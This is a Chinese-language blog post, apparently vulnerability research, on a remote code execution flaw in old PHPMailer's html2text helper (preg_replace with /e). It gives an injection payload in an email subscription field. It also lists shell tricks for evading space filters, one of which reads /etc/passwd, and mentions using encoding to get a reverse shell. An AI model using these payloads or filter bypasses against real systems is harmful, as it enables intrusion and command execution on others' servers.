Author:sevck
Date:2016-6-20(发现时间)
0x00 漏洞概要
首先,这不是之前的曝光的PHPMailer漏洞,实际上本人发现的比前一阵发现的早一些,但是是老版本,后期也没有时间去审计新版本的代码,说不定也是有机会拿到这几个CVE的,哈哈哈... 之前发现了这个,发现很好玩,也很好利用,申请CVE的时候才发现让老外申请了,但是测试时发现,其实很多开源的CMS还在使用。
0x01 漏洞分析
我们来看一下phpmailer在程序中是如何处理的,首先,需要有一个接收输入的参数,这里可以是订阅、回复等:
这里接收了一个邮箱订阅的参数,我们来跟踪下看phpmailer在后端是如何处理的:
接下来phpmailer会调用html2text来进行处理,相关代码如下:
我们可以看到在发送前交给了html2text来处理,然后phpmailer进行发送,我们再去跟踪html2text这里,看看他是如何处理的:
可以看出来preg_replace使用了/e参数,通过正则处理完的内容再发送出去。
通过以上代码我们从新再理一遍,email在拼接用户输入的字符串,尽管使用了mysql_real_escape_string,但是并不能证明这是安全的。然后进入了html2text的preg_replace,然后正则刚好带有/e的表现,从而导致了代码执行。
我们再去看官网提供最新版本看一下,通过github上,我们通过看changelog看到:
phpmailer因为兼容问题不再提供了html2text,需要用户自己写。事实上很多开发者仍然还在使用之前官网提供的html2text,我们搜索下相关CMS:
发现有很多仍然在使用。当然,实质上不仅仅影响phpmailer了,凡是使用了html2text都将会存在远程命令执行漏洞的可能性
0x02 相关案例
邮箱订阅处,使用Burp Suite的中继器,修改email参数的内容:
成功执行了命令,尽管过滤了敏感的字符,但是通过ASCII码仍然可以进行绕过,比如反弹shell
在这期间还有一个有意思的是,接收的参数email=${@system(ls)},但是不允许输入一些敏感的字符或者是带空格的命令。广大基友们也会经常遇到执行命令不能用空格的问题,有的人会用到$IFS,但是遇到基本的安全产品就不行了,总结了几个姿势,分享给大家:
1.!! (比较鸡肋,需要先执行上一条命令才能执行)[code][root@iZ28wg1kditZ tmp]# pwd
/tmp
[root@iZ28wg1kditZ tmp]# !!
pwd
/tmp
[root@iZ28wg1kditZ tmp]#[/code]
2.$IFS (这个没什么好说的了)
[code][root@iZ28wg1kditZ tmp]# ls$IFS-al
total 40
drwxrwxrwt. 8 root root 4096 Nov 17 04:18 .
dr-xr-xr-x. 27 root root 4096 Nov 14 16:27 ..
-rw-r--r-- 1 root root 460 Nov 14 16:27 cron.rule
drwxrwxrwx 2 502 test2 4096 Nov 8 11:01 disktables
-rw-rw-r-- 1 501 filetest 0 Nov 8 10:58 file
drwxrw-r-- 2 root root 4096 Nov 16 15:57 rd4Xy6JfY9
drwxr-xr-x 2 root root 4096 Nov 10 09:56 test
drwxrw-r-- 2 root root 4096 Nov 14 16:52 XUgJsg1WK6[/code]3.{} (这个估计很少人知道)[code][root@iZ28wg1kditZ tmp]# {ls,-al}
total 40
drwxrwxrwt. 8 root root 4096 Nov 17 04:18 .
dr-xr-xr-x. 27 root root 4096 Nov 14 16:27 ..
-rw-r--r-- 1 root root 460 Nov 14 16:27 cron.rule
drwxrwxrwx 2 502 test2 4096 Nov 8 11:01 disktables
-rw-rw-r-- 1 501 filetest 0 Nov 8 10:58 file
drwxrw-r-- 2 root root 4096 Nov 16 15:57 rd4Xy6JfY9
drwxr-xr-x 2 root root 4096 Nov 10 09:56 test
drwxrw-r-- 2 root root 4096 Nov 14 16:52 XUgJsg1WK6
[root@iZ28wg1kditZ tmp]#[/code]4.<> (这个是有一天和'雨 交流得到的 )
[code][root@iZ28wg1kditZ tmp]# cat<>test
hello
[root@iZ28wg1kditZ tmp]# cat test
8 hello[/code]5.\x20 (这个实际利用了bash)
[code][root@iZ28wg1kditZ ~]# CMD=$'\x20/etc/passwd'&&cat$CMD
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin[/code]
有兴趣的同学可以亲自尝试一下,或者卡在这个空格不能执行命令的童鞋也可以尝试一下,当然也欢迎小伙伴们交流。